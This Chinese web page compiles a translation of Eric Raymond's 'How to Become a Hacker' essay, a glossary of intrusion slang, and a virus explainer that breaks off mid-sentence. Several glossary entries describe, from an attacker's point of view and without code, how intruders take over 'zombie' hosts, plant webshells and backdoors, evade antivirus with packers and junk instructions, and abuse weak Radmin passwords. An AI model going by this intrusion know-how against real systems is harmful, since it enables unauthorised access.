当前位置:首页 > 编程知识 > 正文内容

包含如何根据文本定义黑客空间的词条

hacker2年前 (2022-05-28)编程知识85
本文导读目录:

计算机黑客定义

---什么是黑客?

Jargon File中对“黑客”一词给出了很多个定义,大部分定义都涉及高超的编程技术,强烈的解决问题和克服限制的欲望。如果你想知道如何成为一名黑客,那么好,只有两方面是重要的。(态度和技术)

长久以来,存在一个专家级程序员和网络高手的共享文化社群,其历史可以追溯到几十年前第一台分时共享的小型机和最早的ARPAnet实验时期。 这个文化的参与者们创造了“黑客”这个词。 黑客们建起了Internet。黑客们使Unix操作系统成为今天这个样子。黑客们搭起了Usenet。黑客们让WWW正常运转。如果你是这个文化的一部分,如果你已经为它作了些贡献,而且圈内的其他人也知道你是谁并称你为一个黑客,那么你就是一名黑客。

黑客精神并不仅仅局限于软件黑客文化圈中。有些人同样以黑客态度对待其它事情如电子和音乐---事实上,你可以在任何较高级别的科学和艺术中发现它。软件黑客们识别出这些在其他领域同类并把他们也称作黑客---有人宣称黑客实际上是独立于他们工作领域的。 但在本文中,我们将注意力集中在软件黑客的技术和态度,以及发明了“黑客”一词的哪个共享文化传统之上。

另外还有一群人,他们大声嚷嚷着自己是黑客,实际上他们却不是。他们是一些蓄意破坏计算机和电话系统的人(多数是青春期的少年)。真正的黑客把这些人叫做“骇客”(cracker),并不屑与之为伍。多数真正的黑客认为骇客们是些不负责任的懒家伙,还没什么大本事。专门以破坏别人安全为目的的行为并不能使你成为一名黑客, 正如拿根铁丝能打开汽车并不能使你成为一个汽车工程师。不幸的是,很多记者和作家往往错把“骇客”当成黑客;这种做法激怒真正的黑客。

根本的区别是:黑客们建设,而骇客们破坏。

如果你想成为一名黑客,继续读下去。如果你想做一个骇客,去读 alt.2600 新闻组,并在发现你并不像自己想象的那么聪明的时候去坐5到10次监狱。 关于骇客,我只想说这么多。

---黑客的态度

黑客们解决问题,建设事物,信仰自由和双向的帮助,人人为我, 我为人人。

要想被认为是一名黑客,你的行为必须显示出你已经具备了这种态度。要想做的好象你具备这种态度,你就不得不真的具备这种态度。但是如果你想靠培养黑客态度在黑客文化中得到承认,那就大错特错了。因为成为具备这些特质的这种人对你自己非常重要,有助于你学习,并给你提供源源不断的活力。同所有有创造性的艺术一样,成为大师的最有效方法就是模仿大师的精神---不是仅从理智上,更要从感情上进行模仿。

So,如果你想做一名黑客,请重复以下事情直到你相信它们:

1 这世界充满待解决的迷人问题

做一名黑客有很多乐趣,但却是些要费很多气力方能得到的乐趣。 这些努力需要动力。成功的运动员从健壮体魄,挑战自我极限中汲取动力。同样,做黑客,你必须

要有从解决问题,磨练技术,锻炼智力中得到基本的热望。如果你还不是这类人又想做黑客,你就要设法成为这样的人。否则你会发现,你的黑客热情会被其他诱惑无情地吞噬掉---如金钱、性和社会上的虚名。

(同样你必须对你自己的学习能力建立信心---相信尽管你对某问题所知不多,但如果你一点一点地学习、试探,你最终会掌握并解决它。)

2. 一个问题不应该被解决两次

聪明的脑瓜是宝贵的,有限的资源。当这个世界还充满其他有待解决的有趣问题之时,他们不应该被浪费在重新发明轮子这些事情上。 作为一名黑客,你必须相信其他黑客的思考时间是宝贵的---因此共享信息,解决问题并发布结果给其他黑客几乎是一种道义,这样其他人就可以去解决新问题而不是重复地对付旧问题。

(你不必认为你一定要把你的发明创造公布出去,但这样做的黑客是赢得大家尊敬最多的人。卖些钱来给自己养家糊口,买房买车买计算机甚至发大财和黑客价值也是相容的,只要你别忘记你还是个黑客。)

3. 无聊和乏味的工作是罪恶

黑客们应该从来不会被愚蠢的重复性劳动所困扰,因为当这种事情发生时就意味着他们没有在做只有他们才能做的事情---解决新问题。这样的浪费伤害每一个人。因此,无聊和乏味的工作不仅仅是令人不舒服而已,它们是极大的犯罪。 要想做的象个黑客,你必须完全相信这点并尽可能多地将乏味的工作自动化,不仅为你自己,也为了其他人(尤其是其他黑客们)。

(对此有一个明显的例外。黑客们有时也做一些重复性的枯燥工作以进行“脑力休息”,或是为练熟了某个技巧,或是获得一些除此无法获得的经验。但这是他自己的选择---有脑子的人不应该被迫做无聊的活儿。)

4 自由就是好

黑客们是天生的反权威主义者。任何能向你发命令的人会迫使你停止解决令你着迷的问题,同时,按照权威的一般思路,他通常会给出一些极其愚昧的理由。因此,不论何时何地,任何权威,只要他压迫你或其他黑客,就要和他斗到底。

(这并非说任何权力都不必要。儿童需要监护,罪犯也要被看管起来。 如果服从命令得到某种东西比起用其他方式得到它更节约时间,黑客会同意接受某种形式的权威。但这是一个有限的、特意的交易;权力想要的那种个人服从不是你的给予,而是无条件的服从。)

权力喜爱审查和保密。他们不信任自愿的合作和信息共享---他们只喜欢由他们控制的合作。因此,要想做的象个黑客,你得对审查、保密,以及使用武力或欺骗去压迫人们的做法有一种本能的反感和敌意。

5. 态度不能替代能力

要做一名黑客,你必须培养起这些态度。但只具备这些态度并不能使你成为一名黑客,就象这并不能使你成为一个运动健将和摇滚明星一样。成为一名黑客需要花费智力,实践,奉献和辛苦。

因此,你必须学会不相信态度,并尊重各种各样的能力。黑客们不会为那些故意装模做样的人浪费时间,但他们却非常尊重能力---尤其是做黑客的能力,不过任何能力总归是好的。具备很少人才能掌握的技术方面的能力尤其为好,而具备那些涉及脑力、技巧和聚精会神的能力为最好。

如果你尊敬能力,你会享受提高自己能力的乐趣---辛苦的工作和奉献会变成一种高度娱乐而非贱役。 要想成为一名黑客,这一点非常重要。

---基本黑客技术

黑客态度是重要的,但技术更加重要。态度无法替代技术,在你被别的黑客称为黑客之前,有一套基本的技术你必须掌握。 这套基本技术随着新技术的出现和老技术的过时也随时间在缓慢改变。例如,过去包括使用机器码编程,而知道最近才包括了HTML语言。但现在明显包括以下技术:

1 学习如何编程

这当然是最基本的黑客技术。如果你还不会任何计算机语言,我建议你从Python开始。它设计清晰,文档齐全,对初学者很合适。尽管是一门很好的初级语言,它不仅仅只是个玩具。它非常强大,灵活,也适合做大型项目。

但是记住,如果你只会一门语言,你将不会达到黑客所要求的技术水平,甚至也不能达到一个普通程序员的水平---你需要学会如何以一个通用的方法思考编程问题,独立于任何语言。要做一名真正的黑客,你需要学会如何在几天内通过一些手册,结合你现在所知,迅速掌握一门新语言。这意味着你应该学会几种不同的语言。

如果要做一些重要的编程,你将不得不学习C语言,Unix的核心语言。其他对黑客而言比较重要的语言包括Perl和LISP。 Perl很实用,值得一学;它被广泛用于活动网页和系统管理,因此即便你从不用Perl写程序,至少也应该能读懂它。 LISP 值得学习是因为当你最终掌握了它你会得到丰富的经验;这些经验使你在以后的日子里成为一个更好的程序员,即使你实际上可能很少使用LISP本身。

当然,实际上你最好四种都会。 (Python, C, Perl, and LISP). 除了是最重要的四种基本语言,它们还代表了四种非常不同的编程方法,每种都会让你受益非浅。

这里我无法完整地教会你如何编程---这是个复杂的活儿。但我可以告诉你,书本和课程也不能作到。几乎所有最好的黑客都是自学成材的。真正能起作用的就是去亲自读代码和写代码。

学习如何编程就象学习用自然语言写作一样。最好的做法是读一些大师的名著,试着自己写点东西,再读些,再写点,又读些,又写点....如此往复,直到你达到自己在范文中看到的简洁和力量。

过去找到好的代码去读是困难的,因为很少有大型程序的可用源代码能让新手练手。这种状况已经得到了很大的改善;现在有很多可用的开放源码软件,编程工具和操作系统(全都有黑客写成)。这使我们自然地来到第二个话题...

2 得到一个开放源码的Unix并学会使用、运行它

我假设你已经拥有了一台个人计算机或者有一个可用的( 今天的孩子们真幸福 :-) )。新手们最基本的一步就是得到一份Linux或BSD-Unix,安装在个人计算机上,并运行它。

当然,这世界上除了Unix还有其他操作系统。但它们都是以二进制形式发送的---你无法读到它的源码,更不可能修改它。尝试在DOS或Windows的机器上学习黑客技术,就象是在腿上绑了铁块去学跳舞。

除此之外,Unix还是Internet的操作系统。你可以不知道Unix而学会用Internet,但不懂它你就无法成为一名Internet黑客。因为这个原因,今天的黑客文化在很大程度上是以Unix为中心的。(这点并不总是真的,一些很早的黑客对此很不高兴,但Unix和Internet之间的共生关系已是如此之强,甚至连微软也无可奈何)

So,装一个Unix---我个人喜欢Linux,不过也有其他选择。(你也可以在同一台机器上同时运行DOS,Windows和Linux)学会它。运行它。用它跟Internet对话。读它的代码。试着去修改他。你会得到比微软操作系统上好的多的编程工具(包括C,Lisp, Python, and Perl),你会得到乐趣,并将学到比你想象的更多知识。

关于学习Unix的更多信息,请看 The Loginataka.

要得到Linux,请看: 哪里能得到 Linux.

3 学会如何使用WWW和写HTML

大多黑客文化建造的东西都在你看不见的地方发挥着作用,帮助工厂、办公室和大学正常运转,表面上很难看到它对他人的生活的影响。Web是一个大大的例外。即便政客也同意,这个巨大而耀眼的黑客玩具正在改变整个世界。单是这个原因(还有许多其它的), 你就需要学习如何掌握Web。

这并不是仅仅意味着如何使用浏览器(谁都会),而是要学会如何写HTML,Web的标记语言。如果你不会编程,写HTML会教你一些有助于学习的思考习惯。因此,先建起自己的主页。

但仅仅建一个主页也不能使你成为一名黑客。 Web里充满了各种网页。多数是无意义的,零信息量垃圾。

要想有价值,你的网页必须有内容---必须有趣或对其它黑客有用。这样,我们来到下一个话题....

---黑客文化中的地位

象大部分不涉及金钱的文化一样,黑客王国的运转靠声誉维护。你设法解决有趣的问题,但它们到底多有趣,你的解法有多好,是要有那些和你具有同样技术水平的人或比你更牛的人去评判的。

相应地,当你在玩黑客游戏时,你知道,你的分数要靠其他黑客对你的技术的评估给出。(这就是为什么只有在其它黑客称你为黑客是,你才算得上是一名黑客)这个事实常会被黑客是一项孤独的工作这一印象所减弱;它也会被另一个黑客文化的禁忌所减弱(此禁忌的效力正在减弱但仍很强大):拒绝承认自我或外部评估是一个人的动力。

特别地,黑客王国被人类学家们称为一种精英文化。在这里你不是凭借你对别人的统治来建立地位和名望,也不是靠美貌,或拥有其他人想要的东西,而是靠你的奉献。尤其是奉献你的时间,你的才智和你的技术成果。

要获得其他黑客的尊敬,你可以做以下五种事情:

1. 写开放源码的软件

第一个(也是最基本和传统的)是写些被其他黑客认为有趣或有用的程序,并把程序的原代码公布给大家共享。

(过去我们称之为“自由软件-free software”,但这却使很多不知free的精确含义的人感到不解。现在我们很多人使用“开放源码-open source”这个词)

黑客王国里最受尊敬的大牛们是那些写了大型的、具有广泛用途的软件,并把它们公布出去,使每人都在使用他的软件的人。

2. 帮助测试并修改开放源码的软件

黑客们也尊敬也那些使用、测试开放源码软件的人。在这个并非完美的世界上,我们不可避免地要花大量软件开发的时间在测试和抓臭虫阶段。 这就是为什么任何开放源码的作者稍加思考后都会告诉你好的beta测试员象红宝石一样珍贵。 (他知道如何清楚描述出错症状,很好地定位错误,能忍受快速发布的软件中的bug,愿意使用一些简单的诊断工具) 甚至他们中的一个能判断出哪个测试阶段是延长的、令人精疲力尽的噩梦,哪个只是一个有益健康的玩意儿。

如果你是个新手,试着找一个赶兴趣的正在开发的程序,作一个好的beta测试员。从帮着测试,到帮着抓臭虫,到最后帮着改程序,你会不断进步。以后你写程序时,会有别人来帮你,你就得到了你当初善举的回报。

3. 公布有用的信息

另一个好事是收集整理网页上有用有趣的信息或文档如FAQ。许多主要FAQ的维护者和其他开放源码的作者一样受到大家的尊敬。

4. 帮助维护基础设施的运转

黑客文化是靠自愿者运转的。要使Internet能正常工作,就要有大量枯燥的工作不得不去完成----管理mail list,newsgroup,维护大量文档,开发RFC和其它技术标准等等。做这类事情的人会得到很多人的尊敬,因为每人都知道这些事情是耗时耗力的苦役,不象编码那样好玩。做这些事情需要毅力。

5. 为黑客文化本身服务

最后,你可以为这个文化本身服务(例如象我这样,写一个“如何成为黑客”的初级教程 :-) )(hehe,象我这样把它翻成中文 :-) ) 这并非一定要在你已经在这里呆了很久,精通所有以上4点,获得一定声誉后后才能去做。

黑客文化没有领袖。精确地说,它确实有些文化英雄和部落长者和历史学家和发言人。若你在这圈内呆的够长,你或许成为其中之一。

记住:黑客们不相信他们的部落长者的自夸的炫耀,因此很明显地去追求这种名誉是危险的。你必须具备基本的谦虚和优雅。

---黑客和怪人(Nerd)的联系

同流行的传说相反,做一名黑客并不一定要你是个怪人。然而,很多黑客都是怪人。做一个出世者有助于你集中精力进行更重要的事情,如思考和编程。

因此,很多黑客都愿意接受“怪人”这个标签,更有甚者愿意使用“傻子(geek)”一词并自以为豪---这是宣布他们与主流社会不合作的声明。

如果你能集中足够的精力来做好黑客同时还能有正常的生活,这很好。今天作到这一点比我在1970年代是个新手是要容易的多。今天主流文化对技术怪人要友善的多。甚至有更多的人意识到黑客通常更富爱心,是块很好的做恋人和配偶的材料。 更多信息见 Girl's Guide to Geek Guys.

如果你因为生活上不如意而为做黑客而吸引,那也没什么---至少你不会分神了。或许以后你会找到自己的另一半。

---风格的意义

重申一下,做一名黑客,你必须进入黑客精神之中。当你不在计算机边上时,你仍然有很多事情可做。它们并不能替代真正的编程(没有什么能替代编程),但很多黑客都那么做,并感到它们与黑客精神存在一种本质的关联。

阅读科幻小说。参加科幻小说讨论会。(一个很好的寻找黑客的场合)

研究禅宗,或练功习武。

练就一双精确的耳朵,学会鉴赏特别的音乐。学会玩某种乐器,或唱歌。

提高对双关语的鉴赏。

学会流畅地用母语写作。(令人惊讶的时,我所知道的所有最棒的黑客,都是很不错的作家)

这些事情,你做的越多,你就越适合做黑客。至于为什么偏偏是这些事情,原因并不很清楚,但它们都涉及到了左-右脑的综合技巧,这似乎是关键所在。(黑客们既需要清晰的逻辑思维,有时也需要强烈的跳出逻辑之外的直觉)

最后,还有一些不要去做的事情。

不要使用愚蠢的,过于哗众取宠的ID

不要自称为网络崩客(punk) ,也不要对那些人浪费时间

不要寄出充满拼写和语法错误的email,或张贴错误百出的文章

做以上的事情,会使大大损害你的声誉。黑客们个个记忆超群---你将需要数年的时间让他们忘记你的愚蠢。

---其它资源

Peter Seebach为那些不知如何同黑客打交道的经理们维护了一个非常精彩的黑客FAQ。

The Loginataka 有许多关于如何正确培养一个Unix黑客的态度的材料。

我也曾写过一篇“黑客文化简史”。

我还写过另一篇文章,“大教堂与集市”,解释了许多Linux和开放源码文化的运做原理。我还在它的续集“开拓智域”一文中有更直接的论述。

---FAQ(常问问题解答)

问:你会教我如何做黑客吗?

自从第一次发布此页,我每周都会得到一些请求,要我“教会他如何做黑客”;遗憾的是,我没有足够的时间和精力来做这个;我自己的编程项目已经占用了我110%的时间。

甚至即便我想教你也不可能,黑客基本上是一项需要你自行修炼的的态度和技术。你会发现即使真正的黑客想帮助你,如果你乞求他们填鸭一样教你的话,你不会赢得他们的尊敬。

首先去学习。显示你在尝试,你能靠自己去学习。然后再去向黑客们请教问题。

问:你会帮我“黑”掉一个站点吗?或者教我怎么黑它?

No. 任何在读完FAQ后还问此问题人,都是愚不可及的家伙,即使有时间我也不会理睬。 任何发给我的此类mail都会被忽略或被痛斥。

问:哪里能找到真正的可以与之交流的黑客?

最佳办法是就近参加一个Unix或Linux的用户组,参加他们的会议。

问:我该先学哪种语言?

HTML, 如果你还不会的话.

但它不是一个真正的编程语言。当你准备编程时,我建议你从 Python开始. 会有很多人向你推荐Perl,它比Python还受欢迎,但却难学一些。

C 是非常重要的,但它却是最难学的。不要一开始就尝试学C。

问:开放源码的自由软件不会使程序员饿肚子吗?

这似乎不大可能---到目前,开放源码软件产业创造了而不是消灭了大量工作机会。

如果写一个程序比不写一个程序只是个纯粹经济上的收益的话,无论它是否免费,只要它被完成,程序员都会从中得到回报。而且,无论软件是由多么的free的方法开发的,对更新的软件应用的需求总是会有的。

问:我从何学起?哪里有免费的Unix?

本页的其他地方指向最常用的免费Unix。要做一名黑客,你需要自立自强,以及自我教育的能力。

参考资料:国内著名安全站点:http://www.chinesehack.org/#

黑客基本术语

1,肉鸡:所谓“肉鸡”是一种很形象的比喻,比喻那些可以随意被我们控制的电脑,对方可以是WINDOWS系统,也可以是UNIX/LINUX系统,可以是普通的个人电脑,也可以是大型的服务器,我们可以象操作自己的电脑那样来操作它们,而不被对方所发觉。

2,木马:就是那些表面上伪装成了正常的程序,但是当这些被程序运行时,就会获取系统的整个控制权限。有很多黑客就是 热中与使用木马程序来控制别人的电脑,比如灰鸽子,黑洞,PcShare等等。

3,网页木马:表面上伪装成普通的网页文件或是将而已的代码直接插入到正常的网页文件中,当有人访问时,网页木马就会利用对方系统或者浏览器的漏洞自动将配置好的木马的服务端下载到访问者的电脑上来自动执行。

4,挂马:就是在别人的网站文件里面放入网页木马或者是将代码潜入到对方正常的网页文件里,以使浏览者中马。

5,后门:这是一种形象的比喻,入侵者在利用某些方法成功的控制了目标主机后,可以在对方的系统中植入特定的程序,或者是修改某些设置。这些改动表面上是很难被察觉的,但是入侵者却可以使用相应的程序或者方法来轻易的与这台电脑建立连接,重新控制这台电脑,就好象是入侵者偷偷的配了一把主人房间的要是,可以随时进出而不被主人发现一样。

通常大多数的特洛伊木马(Trojan Horse)程序都可以被入侵者用语制作后门(BackDoor)

6,rootkit:rootkit是攻击者用来隐藏自己的行踪和保留root(根权限,可以理解成WINDOWS下的system或者管理员权限)访问权限的工具。通常,攻击者通过远程攻击的方式获得root访问权限,或者是先使用密码猜解(破解)的方式获得对系统的普通访问权限,进入系统后,再通过,对方系统内存在的安全漏洞获得系统的root权限。然后,攻击者就会在对方的系统中安装rootkit,以达到自己长久控制对方的目的,rootkit与我们前边提到的木马和后门很类似,但远比它们要隐蔽,黑客守卫者就是很典型的rootkit,还有国内的ntroorkit等都是不错的rootkit工具。

9,IPC$:是共享“命名管道”的资源,它是为了让进程间通信而开放的饿命名管道,可以通过验证用户名和密码获得相应的权限,在远程管理计算机和查看计算机的共享资源时使用。

10.弱口令:指那些强度不够,容易被猜解的,类似123,abc这样的口令(密码)

11.默认共享:默认共享是WINDOWS2000/XP/2003系统开启共享服务时自动开启所有硬盘的共享,因为加了"$"符号,所以看不到共享的托手图表,也成为隐藏共享。

12.shell:指的是一种命令指行环境,比如我们按下键盘上的“开始键+R”时出现“运行”对话框,在里面输入“cmd”会出现一个用于执行命令的黑窗口,这个就是WINDOWS的Shell执行环境。通常我们使用远程溢出程序成功溢出远程电脑后得到的那个用于执行系统命令的环境就是对方的shell

13.webshell:webshell就是以asp、php、jsp或者cgi等网页文件形式存在的一种命令执行环境,也可以将其称做是一种网页后门。黑客在入侵了一个网站后,通常会将这些asp或php后门文件与网站服务器WEB目录下正常的网页文件混在一起,好后就可以使用浏览器来访问这些asp 或者php后门,得到一个命令执行环境,以达到控制网站服务器的目的。可以上传下载文件,查看数据库,执行任意程序命令等。国内常用的webshell有海阳ASP木马,Phpspy,c99shell等

14.溢出:确切的讲,应该是“缓冲区溢出”。简单的解释就是程序对接受的输入数据没有执行有效的检测而导致错误,后果可能是造成程序崩溃或者是执行攻击者的命令。大致可以分为两类:(1)堆溢出(2)栈溢出。

15.注入:随着B/S模式应用开发的发展,使用这种模式编写程序的程序员越来越来越多,但是由于程序员的水平参差不齐相当大一部分应用程序存在安全隐患。用户可以提交一段数据库查询代码,根据程序返回的结果,获得某些他想要知的数据,这个就是所谓的SQLinjection,即:SQL注意入。

16.注入点:是是可以实行注入的地方,通常是一个访问数据库的连接。根据注入点数据库的运行帐号的权限的不同,你所得到的权限也不同。

17.内网:通俗的讲就是局域网,比如网吧,校园网,公司内部网等都属于此类。查看IP地址如果是在以下三个范围之内的话,就说明我们是处于内网之中的:10.0.0.0—10.255.255.255,172.16.0.0—172.31.255.255,192.168.0.0—192.168.255.255

18.外网:直接连入INTERNET(互连网),可以与互连网上的任意一台电脑互相访问,IP地址不是保留IP(内网)IP地址。

19.端口:(Port)相当于一种数据的传输通道。用于接受某些数据,然后传输给相应的服务,而电脑将这些数据处理后,再将相应的恢复通过开启的端口传给对方。一般每一个端口的开放的偶对应了相应的服务,要关闭这些端口只需要将对应的服务关闭就可以了。

20.3389、4899肉鸡:3389是WINDWS终端服务(Terminal Services)所默认使用的端口号,该服务是微软为了方便网络管理员远程管理及维护服务器而推出的,网络管理员可以使用远程桌面连接到网络上任意一台开启了终端服务的计算机上,成功登陆后就会象操作自己的电脑一样来操作主机了。这和远程控制软件甚至是木马程序实现的功能很相似,终端服务的连接非常稳定,而且任何杀毒软件都不会查杀,所以也深受黑客喜爱。黑客在入侵了一台主机后,通常都会想办法先添加一个属于自己的后门帐号,然后再开启对方的终端服务,这样,自己就随时可以使用终端服务来控制对方了,这样的主机,通常就会被叫做3389肉鸡。Radmin是一款非常优秀的远程控制软件,4899就是Radmin默认使以也经常被黑客当作木马来使用(正是这个原因,目前的杀毒软件也对Radmin查杀了)。有的人在使用的服务端口号。因为Radmin的控制功能非常强大,传输速度也比大多数木马快,而且又不被杀毒软件所查杀,所用Radmin管理远程电脑时使用的是空口令或者是弱口令,黑客就可以使用一些软件扫描网络上存在Radmin空口令或者弱口令的主机,然后就可以登陆上去远程控制对恶劣,这样被控制的主机通常就被成做4899肉鸡。

21.免杀:就是通过加壳、加密、修改特征码、加花指令等等技术来修改程序,使其逃过杀毒软件的查杀。

22.加壳:就是利用特殊的酸法,将EXE可执行程序或者DLL动态连接库文件的编码进行改变(比如实现压缩、加密),以达到缩小文件体积或者加密程序编码,甚至是躲过杀毒软件查杀的目的。目前较常用的壳有UPX,ASPack、PePack、PECompact、UPack、免疫007、木马彩衣等等。

23.花指令:就是几句汇编指令,让汇编语句进行一些跳转,使得杀毒软件不能正常的判断病毒文件的构造。说通俗点就是”杀毒软件是从头到脚按顺序来查找病毒。如果我们把病毒的头和脚颠倒位置,杀毒软件就找不到病毒了“。

先写这么多吧,希望对哥们们有帮助了哈

“反弹端口”原理:

服务端(被控制端)主动连接客户端(控制端),为了隐蔽起见,监听端口一般开在80(提供HTTP服务的端口),这样,即使用户使用端口扫描软件检查自己的端口,也难以发现。而控制端发给服务端的数据是一个第三方的空间来实现的,一般用一个主页空间,控制端通过FTP写主页空间上的一个文件,而服务端定期?*** TTP协议读取这个文件的内容,当发现客户端让自己开始连接时,就主动连接。这样,控制端就可以穿过防火墙,甚至还能访问局域网内部的电脑。

软件加壳:

“壳”是一段专门负责保护软件不被非法修改或反编译的程序。它们一般都是先于程序运行,拿到控制权,然后完成它们保护软件的任务。经过加壳的软件在跟踪时已看到其真实的十六进制代码,因此可以起到保护软件的目的。

软件脱壳:

顾名思义,就是利用相应的工具,把在软件“外面”起保护作用的“壳”程序去除,还文件本来面目,这样再修改文件内容就容易多了。

蠕虫病毒:

它利用了WINDOWS系统的开放性特点,特别是COM到COM+的组件编程思路,一个脚本程序能调用功能更大的组件来完成自己的功能。以VB脚本病毒为例,它们都是把VBS脚本文件加在附件中,使用*.HTM,VBS等欺骗性的文件名。蠕虫病毒的主要特性有:自我复制能力、很强的传播性、潜伏性、特定的触发性、很大的破坏性。

缓冲区溢出:

功击者向一个地址区输入这个区间存储不下的大量字符。在某些性况下,这些多余的字符可以作为“执行代码”来运行,因此足以使功击者不受安全措施限制地获得计算机的控制权。

CMD:

是一个所谓命令行控制台。有两条进入该程序的通道:第一、鼠标点击“开始—运行”,在出现的编辑框中键入“CMD”,然后点击“确定”;第二、在启动Windows2000的时候,按F8进入启动选择菜单,移动光条或键入数字至安全模式的命令行状态。出现的窗口是一个在win9x系统常见的那种MSDOS方式的界面。尽管微软把这个工具当做命令解释器一个新的实例,但使用方法去和原来的DOS没有区别。

嗅控器:

(Snifffer)就是能够捕获网络报文的设备。嗅控器的正当用处在于分析网络的流量,以便找出所关心的网络中潜在的问题。

密罐:(Honeypot)

是一个包含漏洞的系统,它摸拟一个或多个易受功击的主机,给黑客提供一个容易功击的目标。由于密罐没有其它任务需要完成,因此所有连接的尝试都应被视为是可疑的。密罐的另一个用途是拖延功击者对其真正目标的功击,让功击者在密罐上浪费时间。与此同时,最初的功击目标受到了保护,真正有价值的内容光焕发不将受侵犯。

路由器(Routers):

是用来连接不同子网的中枢,它们工作于osi 7层模型的传输层和网络层。路由器的基本功能就是将网络信息包传输到它们的目的地。一些路由器还有访问控制列表(ACLs),允许将不想要的信息包过滤出去。许多路由器都可以将它们的日志信息注入到IDS系统中,提供有关被阻挡的访问网络企图的宝贵信息。

Unicode漏洞:

Unicode是一个16位的字符集,他可以移植到所有主要的计算机平台并且覆盖几乎整个世界。微软IIS4和5都存在利用扩展Unicode字符取代“/”“\”而能利用“../”目录便利的漏洞。未经授权的用户可能利用IUSR_machinename帐号的上下文空间访问任何已知的文件。该帐号在默认情况下属于Everyone和Users组的成员,因此任何与Web根目录在同一个逻辑驱动器上的能被这些用户组访问的文件都能被删除、修改或执行,如同一个用户成功的登陆所能完成的功能一样!

CGI漏洞:

CGI是Common Gateway Inerface(公用网关接口)的简称,并不特指一种语言。Web服务器的安全问题主要包括:1)Web服务器软件编制中的BUG;2)服务器配置的错误。可能导致CGI源代码泄漏,物理路径信息泄漏,系统敏感信息泄漏或远程执行任意命令。CGI语言漏洞分为以下几类:配置错误、边界条件错误、访问验证错误、来源验证错误、输入验证错误、策略错误、使用错误等等。CGI漏洞大多分为一下几种类型:暴露不该暴露的信息、执行不该执行的命令、溢出。

SSL漏洞:

SSL是Secure Socket Layer的缩写。是网上传输信用卡和帐户密码等信息时广泛采用的行业加密标准。SSL常见的安全漏洞有三种:1、攻击证书,由于IIS服务器提供“客户端证书映射”功能,用于将客户端提交证书中的名字映射到NT系统的用户帐号,再这种情况下我们能够获得该主机的系统管理员权限!如果黑客不能利用非法的证书突破服务器,还可尝试暴力攻击。2、窃取证书,黑客还可能窃取有效的证书及相关的思友密匙。3、安全盲点。没有网络检测系统再加上没有安全漏洞审查,使得最重要的服务器反而成为受到最少防护的服务器。

IPC$漏洞:

IPC$是共享“命名管道”的资源,它对于程序间的通讯十分重要。再远程管理计算机和查看计算机的共享资源时使用。利用IPC我们可以与目标主机建立一个空的连接,而利用这个空连接,我们还可以得到目标主机上的用户列表。但是,一些别有用心的人会利用IPC$,查找我们的用户列表,并使用一些字典工具,对我们的主机进行入侵攻击。

IIS漏洞:

IIS是Internet Information Service的缩写。是微软公司的Web服务器。IIS支持多种需要服务器端处理的文件类型,当一个WEB用户从客户端请求此类文件时,相应的DLL文件将自动对其进行处理。然而再ISM.DLL这个负责处理HTR文件的文件中被发现存在严重的安全漏洞。该漏洞包含了一个再ISM.DLL重未经验证的缓冲,他可能对WEB服务器的安全运作造成两方面的威胁。首先,是来自服务拒绝攻击的威胁,另一个威胁通过使用一个精心构建过的文件请求将可以利用标准缓存溢出手段导致2进制代码再服务器端运行,再这种情况下,什么都可能发生!

NTLM验证:

NTLM(NT LAN Mangager)是微软公司开发的一种身份验证机制,从NT4开始就以之使用,主要用于本地的帐号管理。

IPC管道:

为了更好的控制和处理不同进程之间的通信和数据交换,系统会通过一个特殊的连接管道来调度整个进程。

3389漏洞:

由于微软的原因,使得安装了微软服务终端和全拼的Win2K服务器存在着远程登陆并能获得超级用户全县的严重漏洞。

139漏洞:

通过139端口入侵是网络攻击中常见的一种攻击手段,一般情况下139端口开启是由于NetBIOS网络协议的使用。NetBIOS就是网络基本输入输出系统,系统可以利用WINS服务、广播及Lmhost文件等多种模式将NetBIOS名解析为相应的IP地址,从而实现信息通讯。再局域网内部使用NetBIOS协议可以非常方便的实现消息通信,但是如果再Internet上,NetBIOS就相当于一个后门程序,很多攻击这都是通过NetBIOS漏洞发起攻击的!

shell:

shell是系统与用户的交换方式界面。简单来说,就是系统与用户“沟通”的环境。我们平时常用到的DOS,就是一个shell。(Windows2000是cmd.exe)

root:

Unix里面最高权限的用户~即超级管理员

admin:

Windows NT里面最高权限的用户~

rootshell:

通过溢出程序,再主机溢出一个具有root权限的shell。(顺便说一句,国内一知名黑客也叫这个名字)

IDS:

入侵检测系统,用于在黑客发起进攻或是发起进攻之前检测到攻击,并加以拦截。IDS是不同于防火墙的,防火墙只能屏蔽入侵,而IDS却可以在入侵发生以前,通过一些信息来检测到即将发生的攻击或是入侵以作出反应。

UDP:

一种传输层协议,在网络上不可靠的传输数据包,被DNS用于查询和应答,许多流音频和视频应用也使用它。

API:

一套定义的一致性方法,软件开发人员能用他来编写与其他程序捷克欧的程序。API用于扩展程序的功能和使用预编写的组创建新的程序。

FTP:

文件传输协议。一类应用以及该应用使用的协议的名字,用于将文件从一台计算机移动到另一台。

HTTP:

超文本传输协议。用于在万维网上传输数据,包括超文本标识语言文档、图像、可执行内容等等。TCP承载HTTP,一般服务器监听端口80。

HTTPS:

安全超文本传输协议。通过在安全套接字层(SSL)协议上运行超文本传输协议来将安全添加到万维网中。HTTPS能用于将WEB服务器认证到客户,将客户认证到WEB服务器和加密在两个系统之间传输的所有数据,HTTPS服务器一般监听TCP端口443。

IRC:

Internet中继交谈,一系列程序和一种协议,用于实现在Internet上的交谈会话。IRC特别受计算机地下组织的欢迎,北移些攻击者用来讨论他们的工具、技术和战利品。

MAC Address:

网络接口的数据链路层(第二层)地址。对于以太网卡,MAC地址维48bit长。

LAN:

局域网!一种网络,连接近距离的计算机,一般位于单个房间、建筑物或小的地理区域里。LAN上的所有系统位于一个网络跳之间。

ping:

一类基于Internet控制消息协议的数据包,用于判断网络上的某台计算机是否可以到达。

Proxy:

代理。一类程序或系统,接收来自客户机算计的流量,并代表客户与服务器交互。代理能用于过滤应用级别的制定类型的流量或缓存信息以提高性能。许多防火墙依赖代理进行过滤。

telnet:

用于系统的远程命令行访问的程序和协议。telnet在TCP上传输,服务器一般在TCP端口23监听。

TCP:

传输控制协议。一种传输层协议,被许多要求数据的可靠传输的应用所使用。HTTP、SMTP、FTP和telnet都使用TCP进行传输。

TCP/IP:

整个网际协议族的集合名,包括TCP、UDP、IP和ICMP。

什么是黑客?什么是电脑病毒?是怎么作的?

什么是计算机病毒

计算机病毒是一个程序,一段可执行码。就像生物病毒一样,计算机病毒有独特的复制能力。计算机病毒可以很快地蔓

延,又常常难以根除。它们能把自身附着在各种类型的文件上。当文件被复制或从一个用户传送到另一个用户时,它们就随

